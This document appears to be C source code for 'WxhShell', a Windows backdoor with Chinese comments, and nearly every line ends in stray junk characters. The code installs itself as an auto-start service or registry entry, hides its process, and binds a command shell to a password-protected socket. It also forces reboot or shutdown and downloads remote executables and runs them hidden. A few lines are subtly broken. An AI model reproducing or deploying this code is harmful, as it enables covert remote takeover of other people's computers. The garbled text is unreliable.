  // 关机 IIZsN*^  
  case 'd': { oMbCljUC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rg~CF<  
    if(Boot(SHUTDOWN)) Xv:IbM> Qc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wBET.l'd  
    else { 8 Hn{CJ~'  
    closesocket(wsh); k_B^2=  
    ExitThread(0); H"l'E9k.&p  
    } a{W-+t   
    break; qT4s* kqr  
    } 4{KsCd)  
  // 获取shell ./'n2$^3  
  case 's': { !TF VBK  
    CmdShell(wsh); L')zuI  
    closesocket(wsh); <9~qAq7^  
    ExitThread(0); aJ5R0Y,  
    break; %ZK}y{u\  
  } x7?{*w&r  
  // 退出 rGWTpN  
  case 'x': { Xk$lQMwZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .w~USJ=X  
    CloseIt(wsh); )EoG@:[  
    break; BR'|hG  
    } ~7 Tz Ub  
  // 离开 nC^'2z  
  case 'q': { uM8gfY)OI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9D,& )6  
    closesocket(wsh); Up&q#vqIj  
    WSACleanup(); /v[- KjTj7  
    exit(1); :w+Rs+R  
    break; rL=$WxdPU  
        } j*{bM{~T<  
  } cx|j _5%i  
  } $/H'Dt6x  
G. }yNjL8  
  // 提示信息 kokkZd7!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LHb{9x  
} QS}=oOR@k  
  } D }\`5L<  
Ar==@777j  
  return; _,^sI%  
} QVpZA,  
]Gr'Bt/  
// shell模块句柄 _$0Ix6y,  
int CmdShell(SOCKET sock) t>xV]W<  
{ d:D2[  
STARTUPINFO si; 1;W>ceN"  
ZeroMemory(&si,sizeof(si)); DKZ69^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ARE~jzakg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iJi|*P5dw  
PROCESS_INFORMATION ProcessInfo; 7@FB^[H:y  
char cmdline[]="cmd"; Ogb_WO;)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9O"?T7i"#  
  return 0;  J{y@ O  
} / @&Sqv4?  
3jNcL{  
// 自身启动模式 5+UiAc$  
int StartFromService(void) llzl-2` /  
{ #lO;G k{  
typedef struct ?P5D!b:(  
{ pGIeW}2'9  
  DWORD ExitStatus; zin ,yJ  
  DWORD PebBaseAddress; 61'7b`:(hi  
  DWORD AffinityMask; ?,j:Y0l.L  
  DWORD BasePriority; ,J|};s+  
  ULONG UniqueProcessId; AOe~VW  
  ULONG InheritedFromUniqueProcessId; f As:[  
}   PROCESS_BASIC_INFORMATION; gJ])A7O  
+K?h]v]%  
PROCNTQSIP NtQueryInformationProcess; vzw\f   
K  +~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,"'agg:St  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6]Jv3Re'(I  
YblRwic  
  HANDLE             hProcess; Y%faf.$/9  
  PROCESS_BASIC_INFORMATION pbi; PT;$@q8  
j- A|\:   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f_7p.H6\  
  if(NULL == hInst ) return 0; tT7$2 9  
iB?@(10}ES  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bg`b*(Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N(9'U0z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9hv\%_>o  
2C-u2;X2  
  if (!NtQueryInformationProcess) return 0; =4zsAa  
5?b9[o+ D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); % ;<FfS  
  if(!hProcess) return 0; a-3~HH  
g5 E]o)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cZu:dwE  
<fw[7=_)^  
  CloseHandle(hProcess); P ,i)A  
oVu>jO:.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4=9F1[  
if(hProcess==NULL) return 0; DbcKKgPn(9  
qSQjAo4t@  
HMODULE hMod; 3 !,%;Vz=  
char procName[255]; {\V)bizY;  
unsigned long cbNeeded; -l\@50, D  
zm e:U![  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !-QKh aY  
Rwr0$_A  
  CloseHandle(hProcess); 982$d<0%  
4nY2v['m0  
if(strstr(procName,"services")) return 1; // 以服务启动 GB+G1w  
D,hl+P{^K  
  return 0; // 注册表启动 &(0iSS  
} `<K#bDU;a  
1kpI?Plki  
// 主模块 /'I/sWEV  
int StartWxhshell(LPSTR lpCmdLine) <W?,n%  
{ ZGf=/Ra a  
  SOCKET wsl; Bq!P.%6p4  
BOOL val=TRUE; S2*:]pYf}  
  int port=0; 8ZN J}  
  struct sockaddr_in door; WMg#pLc#  
R+m{nO~r  
  if(wscfg.ws_autoins) Install(); 0QGl'u{F  
 *) wp  
port=atoi(lpCmdLine); b#P8Je`;9  
`mMD e  
if(port<=0) port=wscfg.ws_port; /`1zkBj<&  
3{%/1>+x5  
  WSADATA data; Ki'EO$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^WeT3b q  
!XFN/-Q ,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i->sw#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H P7Ec  
  door.sin_family = AF_INET; =v_ju;C=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T1x$v,)8x  
  door.sin_port = htons(port); F;zmq%rK  
tHGK<rb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qYpHH!!C=  
closesocket(wsl); x[vX|oE!A  
return 1; mU3UQ j  
} )QX9T  
mV;7SBoT  
  if(listen(wsl,2) == INVALID_SOCKET) { B^6P 6,  
closesocket(wsl); 2<y -cQ?>  
return 1; Yux7kD\c  
} (s9?#t6  
  Wxhshell(wsl); 46 77uy  
  WSACleanup(); S`J_}>  
BFMM6-Ve  
return 0;  V C.r  
E J 9A 4B  
} %o?fE4o'  
Oe5aNo  
// 以NT服务方式启动 p@!"x({@l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o]]Q7S=  
{ M0^r!f>O  
DWORD   status = 0; 0]"j,  
  DWORD   specificError = 0xfffffff; _gc2h@x1O  
[0 W^|=#K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Edjh*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F~{ 4)`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &;y(@e }D  
  serviceStatus.dwWin32ExitCode     = 0; u^{Q|o:=x  
  serviceStatus.dwServiceSpecificExitCode = 0; \>\w-ty[(  
  serviceStatus.dwCheckPoint       = 0; onjTuZ^h  
  serviceStatus.dwWaitHint       = 0; \,?yj  
o77HRX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '- Z4GcL  
  if (hServiceStatusHandle==0) return; |5O%@  
wi9fYfuv3R  
status = GetLastError(); ;B7>/q;g  
  if (status!=NO_ERROR) Y(&phv&  
{ mX<D]Z< k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :?60pu=  
    serviceStatus.dwCheckPoint       = 0; r"0nUf*og:  
    serviceStatus.dwWaitHint       = 0; r*WdD/r|  
    serviceStatus.dwWin32ExitCode     = status; x[)S3U J  
    serviceStatus.dwServiceSpecificExitCode = specificError; =P5SFMPN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T *$uc,  
    return; %D&FnTa  
  } #Uudx~b  
l]%|w]i\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; //WgK{Mt  
  serviceStatus.dwCheckPoint       = 0; Z3S\@_/;  
  serviceStatus.dwWaitHint       = 0; 6z/8n f +u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (US8Sc  
} 1Og9VG1^  
6R?J.&|  
// 处理NT服务事件,比如:启动、停止 zis-}K<   
VOID WINAPI NTServiceHandler(DWORD fdwControl) !Dz:6r  
{ ;aD_^XY  
switch(fdwControl) 0m?ul%=  
{ & ??)gMM[  
case SERVICE_CONTROL_STOP: K7CiICe  
  serviceStatus.dwWin32ExitCode = 0; xvgIYc{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N'^ 0:zK:  
  serviceStatus.dwCheckPoint   = 0; [V1gj9t=,  
  serviceStatus.dwWaitHint     = 0; YrB-;R 1+  
  { >(\[$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZkqC1u3  
  } ka]n+"~==\  
  return; y{kXd1,  
case SERVICE_CONTROL_PAUSE: (2%C% #]8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2!jbaSH(+  
  break; U:`rNHl  
case SERVICE_CONTROL_CONTINUE: >;HXH^q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (/uL6W d0  
  break; BURiLEYZl  
case SERVICE_CONTROL_INTERROGATE: Z-:$)0f  
  break;  u0i @.  
}; s  n?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #?aR,@n  
} }p "HD R>  
h; {?z  
// 标准应用程序主函数 R/P.m~?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8fdOV&&D~i  
{ 2Y$==j  
:S,#*rPKBK  
// 获取操作系统版本 1-q\C<Q)  
OsIsNt=GetOsVer(); Q9rE_} Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jkfI,T  
2wu 5`Z[E  
  // 从命令行安装 m@jOIt!<  
  if(strpbrk(lpCmdLine,"iI")) Install(); +L_.XToq-  
H4%wq  
  // 下载执行文件 0{Tf;a<  
if(wscfg.ws_downexe) { CMTy(Z8_)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |rNm_L2  
  WinExec(wscfg.ws_filenam,SW_HIDE); L5U>`lx6$  
} uV;Z  
sX@e1*YE_  
if(!OsIsNt) { dLjT^ 9  
// 如果时win9x,隐藏进程并且设置为注册表启动 6C)OO"Bc  
HideProc(); 76c}Rk^  
StartWxhshell(lpCmdLine); S~m* t i(  
} s2v\R~T  
else ,kLeK{   
  if(StartFromService()) %zY3,4~  
  // 以服务方式启动 ]Q^oc  
  StartServiceCtrlDispatcher(DispatchTable); GTLlQy)'=  
else )TXn7{M:  
  // 普通方式启动 x!G\-2#  
  StartWxhshell(lpCmdLine); #+r-$N.7  
{x-g?HB  
return 0; j^LnHVHk1  
} {qj>  
n NAJ8z}Nt  
}LE.kd&  
7O"T `>  
=========================================== qo'pU/@  
23Eg|Xk  
>O~xu^N?  
-[+FVvS  
aIkxN&  
p%j@2U  
" _gU [FUBtJ  
Ih"f98lV  
#include <stdio.h> ^gv)[  
#include <string.h> c L84}1QD  
#include <windows.h> ]Y, 7 X  
#include <winsock2.h> 7_A(1Lx/l7  
#include <winsvc.h> :%s9<g;-h_  
#include <urlmon.h> "zm.jNn  
6"gncB.  
#pragma comment (lib, "Ws2_32.lib") WukCE  
#pragma comment (lib, "urlmon.lib") s;$ eq);  
.i`+}@iA  
#define MAX_USER   100 // 最大客户端连接数 u*H2kn[DU  
#define BUF_SOCK   200 // sock buffer `t#C0  
#define KEY_BUFF   255 // 输入 buffer 3{,Mpb@  
sp AYb<  
#define REBOOT     0   // 重启 c*LnLK/m  
#define SHUTDOWN   1   // 关机 [?;oiEe.|  
eeuAo&L&  
#define DEF_PORT   5000 // 监听端口 +>/ Q+nh  
]_#[o S  
#define REG_LEN     16   // 注册表键长度 0z\=uQ0  
#define SVC_LEN     80   // NT服务名长度 23+>K  
)v'3pTs2  
// 从dll定义API DfqXw^BKD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tjYe82  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~*G I<n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +)ro EJ_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xa%Z0% {  
hydn" 9;  
// wxhshell配置信息 -@AGQ+e  
struct WSCFG { 6`%}s3Xq  
  int ws_port;         // 监听端口 +}z T][9w  
  char ws_passstr[REG_LEN]; // 口令 ~l.]3wyk  
  int ws_autoins;       // 安装标记, 1=yes 0=no s2&UeYbIs  
  char ws_regname[REG_LEN]; // 注册表键名 arDY@o~  
  char ws_svcname[REG_LEN]; // 服务名 {jr>Z"/q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w)3LYF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w=O:|Xu#*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n j1 cqh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mnG\UK,k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RkC?(p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aiUn bP  
`\#Q r|GC  
}; u;y1leG  
9KCnitU  
// default Wxhshell configuration OB5{EILej  
struct WSCFG wscfg={DEF_PORT,  M3u[E  
    "xuhuanlingzhe", %_} #IS1  
    1, Rm6<"SLV  
    "Wxhshell", :Im_=S[0  
    "Wxhshell", Pq;1EI  
            "WxhShell Service", ^oaG.)3  
    "Wrsky Windows CmdShell Service", sp'q=^t  
    "Please Input Your Password: ", Jd/ 5Kx  
  1, 33-=Z9|r  
  "http://www.wrsky.com/wxhshell.exe", W._vikR  
  "Wxhshell.exe" *}3~8fu{  
    }; l,pq;>c9a  
)HR'FlxOd  
// 消息定义模块 D3BX[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u{exQ[,E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6lsU/`.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9?l( }S`  
char *msg_ws_ext="\n\rExit."; -N*g|1rpa  
char *msg_ws_end="\n\rQuit."; rcNM,!dZ  
char *msg_ws_boot="\n\rReboot..."; 7zpwP  
char *msg_ws_poff="\n\rShutdown..."; mqwN<:  
char *msg_ws_down="\n\rSave to "; '}LH,H:%G  
TY~0UU$  
char *msg_ws_err="\n\rErr!"; sK}Ru?a)  
char *msg_ws_ok="\n\rOK!"; 69\0$O  
x&8fmUS:@;  
char ExeFile[MAX_PATH]; )` '  
int nUser = 0; B% BO  
HANDLE handles[MAX_USER]; C n4|qX"&t  
int OsIsNt; cb|`)"<HN  
"fS9Nx3  
SERVICE_STATUS       serviceStatus; ]Cbht\Ag"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G8 f7N; D  
gO_^{>2  
// 函数声明 %|r@q  
int Install(void); I-&/]<5y  
int Uninstall(void); A]Q4fD1q  
int DownloadFile(char *sURL, SOCKET wsh); l.fNkLC#  
int Boot(int flag); k $3.FO"  
void HideProc(void); (|h<{ -L  
int GetOsVer(void); Br1JZHgA  
int Wxhshell(SOCKET wsl); P@ 1D  
void TalkWithClient(void *cs); uqX"^dn4u  
int CmdShell(SOCKET sock); <f8@Qij  
int StartFromService(void); 2|w(d  
int StartWxhshell(LPSTR lpCmdLine); D[:7B:i  
Qt]nlui~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1QjrL@$>15  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *E+) mB"~  
CDoZv""  
// 数据结构和表定义 Y13IrCA2  
SERVICE_TABLE_ENTRY DispatchTable[] = }# w>>{Q  
{ ^EZ)NG=e5  
{wscfg.ws_svcname, NTServiceMain}, S7~yRIjB  
{NULL, NULL} ~8}"X] 4  
}; m6+2r D  
PY)C=={p  
// 自我安装 si%f.A#  
int Install(void) g)u2  
{ Tb:n6a@  
  char svExeFile[MAX_PATH]; @b-?KH  
  HKEY key; r(%#@?&  
  strcpy(svExeFile,ExeFile); ax7u b  
ft:/-$&H  
// 如果是win9x系统,修改注册表设为自启动 WNlWigwYl  
if(!OsIsNt) { LPewoAXO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hFylQfd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "R4~ 8r  
  RegCloseKey(key); $N:m 9R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Bo'0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _S@s  
  RegCloseKey(key); dpGaI  
  return 0; Hagj^8  
    } ?8YHz  
  } zSDiJ$Xk  
} >d#B149  
else { ;( VJZ_  
M /Bn^A8@  
// 如果是NT以上系统,安装为系统服务 pd>EUdbrp&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BU]9eF!>h  
if (schSCManager!=0) @*A(#U8p3  
{ O_(J',++  
  SC_HANDLE schService = CreateService 1B,RRHXn6  
  ( Kd7OnU  
  schSCManager, Ca?pK_Y  
  wscfg.ws_svcname, AO>K 6{  
  wscfg.ws_svcdisp, C0KP,JS&  
  SERVICE_ALL_ACCESS, *kZJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ikyvst>O  
  SERVICE_AUTO_START, * RN*Bh|$  
  SERVICE_ERROR_NORMAL, q^O{LGN  
  svExeFile, %+>I1G  
  NULL, k. px  
  NULL, Z~muQ c?  
  NULL, 7QQ1oPV  
  NULL, ~`8`kk8  
  NULL f<0-'fGJd  
  ); CZ|Y o  
  if (schService!=0) &eK8v]|"W  
  { jO!!. w  
  CloseServiceHandle(schService); y4 P mL  
  CloseServiceHandle(schSCManager); j~Rh_\>Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6i{W=$ RQ  
  strcat(svExeFile,wscfg.ws_svcname); aHwrFkn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ms^,]Q1{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kmo3<'j{  
  RegCloseKey(key); -L1{0{Z  
  return 0; ;Q? Qwda  
    } N ?0V0B  
  } 6Dw[n   
  CloseServiceHandle(schSCManager); 0Oe@0L%^3"  
} |/YT.c%  
} FkKx~I:  
V&)-u(s_S/  
return 1; F0Rk[GM  
} WElB,a-RCp  
vIz~B2%x  
// 自我卸载 J} %&;uv  
int Uninstall(void) wQ4/eQ*  
{ )jCAfdnCs  
  HKEY key; `6Y'H2WJ?  
"m/0>UU0  
if(!OsIsNt) { 9dSKlB5J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +}X@{DB  
  RegDeleteValue(key,wscfg.ws_regname); 80axsU^H0  
  RegCloseKey(key); M0"xDvQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pbloL3d.;+  
  RegDeleteValue(key,wscfg.ws_regname); 0'VwObq  
  RegCloseKey(key); f u\M2"e  
  return 0; /1o~x~g(b  
  } V4ayewVX  
} M^k~w{   
} +r4^oT[-  
else { GZ*cV3Y`&  
Q6"r^w Wx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I9k o*f  
if (schSCManager!=0) b[$l{RQ[?  
{ bBC3% H^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3ef]3  
  if (schService!=0) 8;Yx a8ie  
  { pPeS4$Y  
  if(DeleteService(schService)!=0) { F4Z+)'oDr,  
  CloseServiceHandle(schService); LUw0MW(Moi  
  CloseServiceHandle(schSCManager); ~{RXc+  
  return 0; [fO \1J  
  } >`8i=ZpCOS  
  CloseServiceHandle(schService); $6BXoh!  
  } H-^>Co_  
  CloseServiceHandle(schSCManager); <Cn-MOoM  
} NfDg=[FN[  
} p>65(&N,  
>k kuw?O@  
return 1; 0 .t;i4  
} <EJ}9`t  
%k5^n0|*  
// 从指定url下载文件 Fag%#jxI  
int DownloadFile(char *sURL, SOCKET wsh) vMj"%  
{ ~Ci|G3BW  
  HRESULT hr; F|%[s|s  
char seps[]= "/"; fZT=q^26  
char *token; ^Shz[=fd  
char *file; @ 5|F:J  
char myURL[MAX_PATH]; ` *h-j/M  
char myFILE[MAX_PATH]; 5?%(j!p5  
iI&J_Y{1a_  
strcpy(myURL,sURL); ^'6!)y#  
  token=strtok(myURL,seps); yC6XO&:g  
  while(token!=NULL) 9q;+ Al^Z  
  { ^hRos  
    file=token; lUUeM\  
  token=strtok(NULL,seps); |4ONGU*`E  
  } X0Xs"--}  
G\|VTqu  
GetCurrentDirectory(MAX_PATH,myFILE); gtVI>D'(W  
strcat(myFILE, "\\"); g' H!%<  
strcat(myFILE, file); Ej8EQ% P  
  send(wsh,myFILE,strlen(myFILE),0); *siS4RX2  
send(wsh,"...",3,0); |*i0h`a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7`|$uIM`  
  if(hr==S_OK) $Rd74;edn  
return 0; *|a_(bQ4@  
else -:AknQq  
return 1; *<"xF'C  
Xr6UN{_-  
} F{B__Kf  
WFsa8qv  
// 系统电源模块 NuLQkf)  
int Boot(int flag) 28>gAz.#  
{ FF)F%o+:w  
  HANDLE hToken; aj|I[65  
  TOKEN_PRIVILEGES tkp; W6 f*>  
?b:l.0m  
  if(OsIsNt) { egK,e?~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aOA;"jR1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d^!)',`  
    tkp.PrivilegeCount = 1; qOqQt=ObU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w=e~ M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iRBUX`0  
if(flag==REBOOT) { T B1E1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gt2NUGU  
  return 0; Qf6Vj,~N  
} CAX|[  
else { CES^ c-. k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7=aF-;X3jj  
  return 0; S XIo  
} XjuAVNY  
  } [wj&.I{^s  
  else { 5BN!uUkm+  
if(flag==REBOOT) { ggzg, ~V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y2"X;`<  
  return 0; LIT{rR#8  
} Gp6|M2Vu_5  
else { b(wW;C'#0p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1I<D `H%  
  return 0; D[-V1K&g  
} ^} %Oq P  
} ))K3pKyb  
^uD r  
return 1; Dny5X.8  
} V{HP8f91  
g0: mm,t\  
// win9x进程隐藏模块 R0B\| O0Uv  
void HideProc(void) 2E9Cp  
{ #tRLvOR:  
t5\~Z}G8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )}0(7z Yu  
  if ( hKernel != NULL ) cz~Fz;)2{N  
  { J'G 6Z7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GKTrf\"c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t,gKN^P_  
    FreeLibrary(hKernel); rn"'tvhm  
  } A36dj  
K@)Hm\*  
return; EC<g7_0F  
} Gg]>S#^3  
$Y5R^Y  
// 获取操作系统版本 Fo|6 PoSo  
int GetOsVer(void) jeFX?]Q  
{ ^i&sQQ( {  
  OSVERSIONINFO winfo; a^ hDxeG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xX.fN7[  
  GetVersionEx(&winfo); Y6~/H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s5_[[:c=^  
  return 1; swss#?.se  
  else s5F,*<  
  return 0; jQxv` H  
} sgW*0o  
{dM18;  
// 客户端句柄模块 fI9 TzpV  
int Wxhshell(SOCKET wsl) "g;^R/sfq  
{ /o Q^j'v  
  SOCKET wsh; 9D#"Ey  
  struct sockaddr_in client; V^Z"FwWk  
  DWORD myID; 6 9_etv  
?W:YS82  
  while(nUser<MAX_USER) -r)Q|U  
{ A>8"8=C  
  int nSize=sizeof(client); 2Z;wU]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]a F,r"  
  if(wsh==INVALID_SOCKET) return 1; j qfxQ  
3)b[C&`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d:cs8f4>  
if(handles[nUser]==0) ;.>CDt-E]  
  closesocket(wsh); 1$2'N~`#U  
else M S$^m2  
  nUser++; `a2%U/U  
  } G;#-CT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^Tgu]t   
In<L?U?([D  
  return 0; do@`(f3 g  
} /UtCJMQ  
Z.TYi~d/9D  
// 关闭 socket "& h;\hL  
void CloseIt(SOCKET wsh) VUAW/  
{ +ExXhT  
closesocket(wsh); b{q-o <Q  
nUser--; sx7;G^93  
ExitThread(0); YL*yiZ9  
} oRH ]67(Z  
B'<k*9=Nv8  
// 客户端请求句柄 CEbZj z|  
void TalkWithClient(void *cs) ?XOl>IO  
{ >.'rN>B+  
h r9rI  
  SOCKET wsh=(SOCKET)cs; \[u7y. b  
  char pwd[SVC_LEN]; <=D !/7$ O  
  char cmd[KEY_BUFF]; EMK>7 aks  
char chr[1]; ^U1@ hq*u  
int i,j; 6_xPk`m  
qI (<5Wxl  
  while (nUser < MAX_USER) { g>].m8DZ'  
B'sgCU  
if(wscfg.ws_passstr) { /~=W3lhY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $6 46"1S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pHO,][VZ  
  //ZeroMemory(pwd,KEY_BUFF); e0rh~@E  
      i=0; ]nmVT~lBe"  
  while(i<SVC_LEN) { F<R+]M:fa  
G!Gbg3:4e5  
  // 设置超时 Rb!V{jQ  
  fd_set FdRead; G_m$W3 zS  
  struct timeval TimeOut; d#l z^Ls2  
  FD_ZERO(&FdRead);   %4  
  FD_SET(wsh,&FdRead); oXW51ty  
  TimeOut.tv_sec=8; xcf`i:\  
  TimeOut.tv_usec=0; b9 Gq';o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .lbo\v}2W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {c|{okQ;Q  
R#8.]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k+nfW]UNF  
  pwd=chr[0];  :oN$w\A  
  if(chr[0]==0xd || chr[0]==0xa) { Wra$  
  pwd=0; fm u;Pb]r  
  break; : _,oD  
  } CN(}0/  
  i++; 3k U4?D]  
    } l:'\3-2a  
0<^!<i(%  
  // 如果是非法用户,关闭 socket C~o\Q# *j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3]z%C'  
} tV'>9YVdG  
Ja`xG{~Y7i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pjvzefp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K*"Wq:T;B  
8x,{rS qq  
while(1) { 8? U!PW  
v4$"{W;'  
  ZeroMemory(cmd,KEY_BUFF); mBtXa|PJ  
L9"yQD^R7?  
      // 自动支持客户端 telnet标准   v-utDQT3  
  j=0; wR(>' ?  
  while(j<KEY_BUFF) { He1hgJ)N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VMZUJ2Yj/&  
  cmd[j]=chr[0]; <meQ  
  if(chr[0]==0xa || chr[0]==0xd) { <F%c"Rkh  
  cmd[j]=0; t5M"M{V  
  break; s+fjQo4  
  } Kn#CIFbBN  
  j++; C2a2K={  
    } Fk4T>8q2;  
WL#E%6p[  
  // 下载文件 9| {t%F=-  
  if(strstr(cmd,"http://")) { le*'GgU#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vB<2f*U  
  if(DownloadFile(cmd,wsh)) 8hZY Z /T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7A=*3  
  else D\@)*"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zn3]vU!  
